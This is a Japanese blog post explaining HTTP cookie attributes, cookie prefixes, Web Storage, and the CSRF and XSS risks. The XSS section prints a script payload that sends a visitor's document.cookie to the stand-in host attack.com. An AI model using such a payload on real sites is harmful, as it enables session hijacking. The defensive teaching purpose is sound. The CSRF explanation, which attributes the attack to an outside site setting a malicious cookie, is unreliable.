💡gntk.dev

Cookieを知る

なんとなく知ってるつもりだったCookieの仕組みとか設定について、改めてまとめてみると知識が深まりました。

post-cover

Cookieとは

Webサーバーからブラウザに送信され、ブラウザに保存されるデータのこと。以降クライアントからサーバーへのリクエストには保存されたCookieが添付される。ユーザーのセッション情報・データの管理に使われることが多い。

Cookieの作成方法

サーバーからクライアントへのレスポンスにHTTPヘッダSet-Cookie: <cookie-name>=<cookie-value>を設定すると、クライアントのブラウザにCookie(名前と値の組み合わせ)が保存される。以降クライアントからサーバーへのリクエストにはHTTPヘッダCookie: <cookie-name>=<cookie-value>が設定される。

Cookieの設定

Cookieは、Set-Cookieヘッダに属性を指定することで有効期限や送信先など様々な設定をすることができる。例えばExpire属性で有効期限を設定するときは下記のようになる。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>

Cookieの送信先の定義

DomainPathSameSiteなどの属性を設定することで、Cookieの送信先を定義することができる。

Domain属性

Cookieの送信先の(Cookieを受信することができる)ホストを指定することができる。

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>

Domain属性を指定するとサブドメインを含むホストを指定することができるが、Domain属性を指定しなかった場合(デフォルトの場合)、Cookieを受信できるホストにサブドメインは含まれない。つまり、Domain属性を設定すると、Domain属性を設定しなかった場合よりも制限が緩和されることになるので注意。

Path属性

Path属性でパスを指定すると、URLに指定したパスが含まれていないリクエストは送信されなくなる。

Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>

例えば、Path=/docs を設定すると、以下のパスを含むURLのリクエストは送信される。

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite属性

StrictLaxNoneの3段階の値を指定して、オリジン間のCookieの送信可否を制限することができる。

Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None
  1. サイトAでHTTPヘッダSet-CookieでCookieを発行(ここでSameSite属性を設定する)
  2. 外部サイトB(Aとは別ドメイン)に遷移
  3. サイトAに遷移

する場合、B→Aの遷移でHTTPヘッダCookieでCookieを送信するかどうかを制限できる。

  • Strict … Cookieは送信されない。
  • Lax … GETリクエストの場合のみCookieを送信する。MDN Web Docsではモダンブラウザ(例えばChromeであればver 80から)のデフォルト値とされている。
  • None … どのようなリクエストであってもCookieを送信する。(Chrome 80からは、Samesite=Noneを設定する場合はSecure属性の設定が必須になる)

SameSite属性にStrictもしくはLaxを設定することで、悪意のあるCookie設定がしにくくなり、CSRF対策になる。

Cookieへのアクセス制限

Secure属性やHttpOnly属性を設定することで、意図していないところからCookieが読まれてしまう危険性を軽減できる。

Secure属性

Secure属性を設定したCookieは、HTTPSプロトコルを使用したリクエストでなければサーバーに送信されない。

Set-Cookie: <cookie-name>=<cookie-value>; Secure

HttpOnly属性

HttpOnly属性を設定したCookieは、JavaScriptのDocument.cookieによるアクセスができなくなる。

Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

Cookieに有効期限を設定する

Cookieは、設定された有効期限を過ぎると無効になる。

Expires属性

Cookieの有効期限を日時で設定する。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=Mon, 1 Jan 2020 01:01:01 GMT;

Max-Age属性

Cookieが無効になるまでの秒数を設定する。

Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=600;

Expires属性とMax-Age属性を両方設定した場合、Max-Age属性で設定した有効期限が優先される。

セッションCookieを利用する

ExpireMax-Ageも設定されなかったCookieはセッションCookieになる。セッションCookieはセッションが終了したら削除される。

Cookieの扱い方

危険性

CSRF(Cross-Site Request Forgery)

SameSite属性の項であげた例のように、サイトA→サイトB→サイトAと移動するときのB→Aのタイミングで悪意のあるCookieを仕込まれてしまう可能性がある。

(例)会員登録機能があるWebサイトに、退会ページhttps://example.com/mypage/delete/が用意されておりCookiesubmit=1が送信されたときに退会処理が行われる仕様があった場合

  1. サイトAに悪意のあるスクリプトが組まれたサイトBのリンクがあり、そのリンクからA→Bに遷移する
  2. サイトBからサイトAに復帰するときに、退会処理が行われるCookiesubmit=1を設定して退会ページに遷移させられてしまうと、ユーザーは意図せず退会処理をさせられてしまう

この例だと退会処理が実行されるCookiesubmit=1が、単純過ぎる(誰にでも再現できてしまう)ためこのような攻撃が可能になってしまう。値にランダムな文字列を設定したり、SameSite属性を設定してそもそも悪意のあるリクエストが送信されないようにしてしまうなどの対策が取れる

XSS(Cross-site scripting)

Webサイトを表示する処理に、<&などのスクリプトを仕込むための文字のエスケープ処理が十分に用意されていなかった場合、悪意のあるスクリプトを仕込まれてせい舞う可能性がある。

(例)掲示板サービスなど、ユーザーがテキストを入力してフォームで送信→送信したテキストがサイトに表示されるサービスがあり、もし<script>などの文字列を書き込まれてしまうとユーザーがページを表示しようとする時点でスクリプトが実行されてしまうような作りになってしまっていた場合

  1. サイトに表示するためのテキストを入力するフォームに、悪意のあるユーザーが下記のようなスクリプトを入力する

    <script>
     window.location="https://attack.com?"+document.cookie;
    </script>
  2. 上記のスクリプトが仕込まれたページにユーザーがアクセスしてしまうと、attack.comにそのユーザーのcookieがクエリパラメータとして送信されてしまう

これを防ぐためには、<&などのスクリプトを仕込むための文字のエスケープ処理を十分に用意する必要がある。

Cookie名に接頭辞を設定する

Cookie名に接頭辞を設定することで、Set-Cookieヘッダに特定の属性を設定するように制約を課すことができる。

__Host-

Cookie名を__Host-から始まる名前にすることによって、下記の条件を満たさないCookieはブラウザに拒否される。

  • Secure属性が指定されている
  • 安全なオリジンから送信されている
  • Domain属性を含んでいない
  • Path属性に\が設定されている

__Secure-

Cookie名を__Secure-から始まる名前にすることによって、下記の条件を満たさないCookieはブラウザに拒否される。

  • Secure属性が指定されている
  • 安全なオリジンから送信されている

ブラウザーに情報を格納するCookie以外の方法

ブラウザーに情報を格納するCookie以外の方法としてWeb Storage APIの利用があげられる。Web Storage APIにはsessionStoragelocalStorageがある。

  • sessionStorage … セッションが終了するタイミングで消去されるストレージ
  • localStorage … 明示的に削除しない限り永続的に有効なストレージ

Cookieに保存できるデータ量の上限が4KBであるのに対して、sessionStorage・localStorageには5MBのデータを保存することができる。

© 2021 gntk.dev